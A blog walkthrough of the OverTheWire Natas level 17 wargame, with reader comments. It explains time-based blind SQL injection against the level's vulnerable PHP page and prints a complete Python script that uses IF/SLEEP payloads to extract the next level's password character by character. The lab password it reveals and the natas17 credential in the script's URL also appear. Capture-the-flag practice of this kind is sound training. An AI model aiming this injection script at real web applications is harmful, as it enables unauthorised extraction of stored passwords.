Thursday 9 October 2014

Wargames - Natas 17

<< Previous challenge

Recommended reading:
From the credentials discovered from the previous challenge, head up to http://natas17.natas.labs.overthewire.org and take a look at its content.
Remember when I said SQL injections can get somewhat complex? This challenge is such example, we're going to use time-based blind SQL injections to brute force the password, check the recommended reading, there's a link that explains blind injections.
This is similar to level 15, where we can check if a username exists on the users table. Let's take a peek at the source code:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<html> 
<head> 
<!-- This stuff in the header has nothing to do with the level --> 
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> 
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> 
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> 
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> 
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> 
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> 
<script>var wechallinfo = { "level": "natas17", "pass": "<censored>" };</script></head> 
<body> 
<h1>natas17</h1> 
<div id="content"> 
<? 

/* 
CREATE TABLE `users` ( 
  `username` varchar(64) DEFAULT NULL, 
  `password` varchar(64) DEFAULT NULL 
); 
*/ 

if(array_key_exists("username", $_REQUEST)) { 
    $link = mysql_connect('localhost', 'natas17', '<censored>'); 
    mysql_select_db('natas17', $link); 
     
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; 
    if(array_key_exists("debug", $_GET)) { 
        echo "Executing query: $query<br>"; 
    } 

    $res = mysql_query($query, $link); 
    if($res) { 
    if(mysql_num_rows($res) > 0) { 
        //echo "This user exists.<br>"; 
    } else { 
        //echo "This user doesn't exist.<br>"; 
    } 
    } else { 
        //echo "Error in query.<br>"; 
    } 

    mysql_close($link); 
} else { 
?> 

<form action="index.php" method="POST"> 
Username: <input name="username"><br> 
<input type="submit" value="Check existence" /> 
</form> 
<? } ?> 
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div> 
</div> 
</body> 
</html> 
The code looks exactly the same as natas 15, we can exploit it in the same way, the problem here is that we get no output from the server, because lines 35, 37 and 40 are commented. If we take a look at time-based blind SQL injections, this fits in just perfectly, the only way we have to know if our query is successful or not is by making the database pause for some time. The exploitation principle is the same as natas 15, we need to sequentially build the password, but instead on relying on the output to validate our guesses, we rely on the execution time. The approach we're going to use is the same as in previous challenges: find which characters are part of the password and then iterate through them, building the password one character at a time.
Our next step is building the injection SQL, for that we're going to use the SLEEP and the IF functions, what we need is to check if the password contains the character we're iterating, sleep for some time, else, just return. The full query looks something like this:
SELECT * from users where username="natas18" AND IF(password LIKE BINARY "%0%", sleep(5), null) #
So here we're checking if 0 is part of the password, if it yes, it'll sleep for 5 seconds. The injection itself is obviously smaller, and looks like this:
natas18" AND IF(password LIKE BINARY "%0%", sleep(5), null) #
The first IF expression is exactly the same as in level 15, so I'll skip that explanation. If the expression is not clear for you, check level 15, it explains how it works in greater detail.
The script itself is also similar, the injections change and we make use of timeouts, we tell it to wait just 1 second for a reply, if we don't get it within that time, the server is sleeping and therefore we got a match on whatever character we're going through at the moment, here's the full code:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# Created by Joao Godinho
#       October 2014
# Script to brute force level 17 of natas wargames
# Refer to http://floatingbytes.blogspot.com for details

# Library to work with the POST requests
import requests

# All possible characters
allChars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
# Parsed characters, the ones that actually exist in the password
parsedChars = ''
# Final Password
password = ''
# Our target URL
target = 'http://natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw@natas17.natas.labs.overthewire.org/'

# Checking if we can connect to the target, just in case...
r = requests.get(target)
if r.status_code != requests.codes.ok:
        raise ValueError('Kabum? Couldn\'t connect to target :(')
else:
        print 'Target reachable. Starting character parsing...'


# The fun begin, let's see what characters are actually part of the pwd
for c in allChars:
        # SQL time-based injection #1
        try:
                r = requests.get(target+'?username=natas18" AND IF(password LIKE BINARY "%'+c+'%", sleep(5), null) %23', timeout=1)
        except requests.exceptions.Timeout:
                # If we got a timeout, the character exists
                parsedChars += c
                print 'Used chars: ' + parsedChars

print 'Characters parsed. Starting brute force...'

# Assuming password is 32 characters long
for i in range(32):
        for c in parsedChars:
                # SQL time-based injection #2
                try:
                        r = requests.get(target+'?username=natas18" AND IF(password LIKE BINARY "' + password + c + '%", sleep(5), null) %23', timeout=1)
                # Did we found the character at the i position of the password?
                except requests.exceptions.Timeout:
                        password += c
                        print 'Password: ' + password + '*' * int(32 - len(password))
                        break

print 'Done. Have fun!'
Instead of a simple SQL injection, we just use a more complex one... Here's the output:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
Target reachable. Starting character parsing...
Used chars: 0
Used chars: 04
Used chars: 047
Used chars: 047d
Used chars: 047dg
Used chars: 047dgh
Used chars: 047dghj
Used chars: 047dghjl
Used chars: 047dghjlm
Used chars: 047dghjlmp
Used chars: 047dghjlmpq
Used chars: 047dghjlmpqs
Used chars: 047dghjlmpqsv
Used chars: 047dghjlmpqsvw
Used chars: 047dghjlmpqsvwx
Used chars: 047dghjlmpqsvwxy
Used chars: 047dghjlmpqsvwxyC
Used chars: 047dghjlmpqsvwxyCD
Used chars: 047dghjlmpqsvwxyCDF
Used chars: 047dghjlmpqsvwxyCDFI
Used chars: 047dghjlmpqsvwxyCDFIK
Used chars: 047dghjlmpqsvwxyCDFIKO
Used chars: 047dghjlmpqsvwxyCDFIKOP
Used chars: 047dghjlmpqsvwxyCDFIKOPR
Characters parsed. Starting brute force...
Password: x*******************************
Password: xv******************************
Password: xvK*****************************
Password: xvKI****************************
Password: xvKIq***************************
Password: xvKIqD**************************
Password: xvKIqDj*************************
Password: xvKIqDjy************************
Password: xvKIqDjy4***********************
Password: xvKIqDjy4O**********************
Password: xvKIqDjy4OP*********************
Password: xvKIqDjy4OPv********************
Password: xvKIqDjy4OPv7*******************
Password: xvKIqDjy4OPv7w******************
Password: xvKIqDjy4OPv7wC*****************
Password: xvKIqDjy4OPv7wCR****************
Password: xvKIqDjy4OPv7wCRg***************
Password: xvKIqDjy4OPv7wCRgD**************
Password: xvKIqDjy4OPv7wCRgDl*************
Password: xvKIqDjy4OPv7wCRgDlm************
Password: xvKIqDjy4OPv7wCRgDlmj***********
Password: xvKIqDjy4OPv7wCRgDlmj0**********
Password: xvKIqDjy4OPv7wCRgDlmj0p*********
Password: xvKIqDjy4OPv7wCRgDlmj0pF********
Password: xvKIqDjy4OPv7wCRgDlmj0pFs*******
Password: xvKIqDjy4OPv7wCRgDlmj0pFsC******
Password: xvKIqDjy4OPv7wCRgDlmj0pFsCs*****
Password: xvKIqDjy4OPv7wCRgDlmj0pFsCsD****
Password: xvKIqDjy4OPv7wCRgDlmj0pFsCsDj***
Password: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjh**
Password: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhd*
Password: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
Done. Have fun!
It took almost 3 minutes to run the script, but in the end we got the password.

User natas18
Password xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

This was pretty new, at least for me, never had to use a time-based blind SQL injection. Fun challenge overall. There are ways to make the script faster, like binary search and multithreading, but 3 minutes isn't that much, so I chose to keep it this way.

Never Settle,

<< Previous challenge

10 comments:

  1. Just a heads up: you have an error/typo in your python script.

    You calculate all the used characters in lines 26-36 (parsedChars), but then you don't actually use them in the brute force on line 40. Instead, you use allChars which makes the brute force slow.

    Line 40 should be: "for c in parsedChars:"

    Otherwise, excellent script. Nice work!

    ReplyDelete
    Replies
    1. And this is why copy pasting is bad!

      Thanks :)

      Delete
  2. Hello. Can you explain for me what the %23 is doing? Is it somehow the ascii code for #? I still don't understand it there.

    ReplyDelete
    Replies
    1. Yes it's a #. Its purpose is to comment the rest of the query, in MySQL # starts a comment (-- could also be used).

      Imagine a simple query:
      SELECT name FROM users WHERE name=$name AND password=$pwd

      If I want to inject in the $name, I must take into account the rest of the query, or I can start a comment with # e.g.:
      SELECT name FROM users WHERE name= # AND password=$pwd

      Hope it makes sense

      Delete
    2. OK I am getting now, that a php request is somehow build like this:

      scheme :// user : password @ host : port / path ? query # fragment

      %23 stands indeed for the # ending the query.

      Delete
    3. Thanks again, for your answer. I missed it, still trying to figure it out :)

      Delete
    4. Why is it necessary to send the # as %23 and not just as # in the request string?

      Delete
  3. Did you run into problems with other traffic messing up your timeout/sleep readings?
    I wrote a different script which eventually got me the pw but had this issue. Thoughts?

    ReplyDelete
    Replies
    1. Not that I recall. May be due to server issues or a low sleep time in the sql? There can be a ton of reasons...

      Delete
    2. Thanks!
      By the way, great write ups, very helpful details :)

      Delete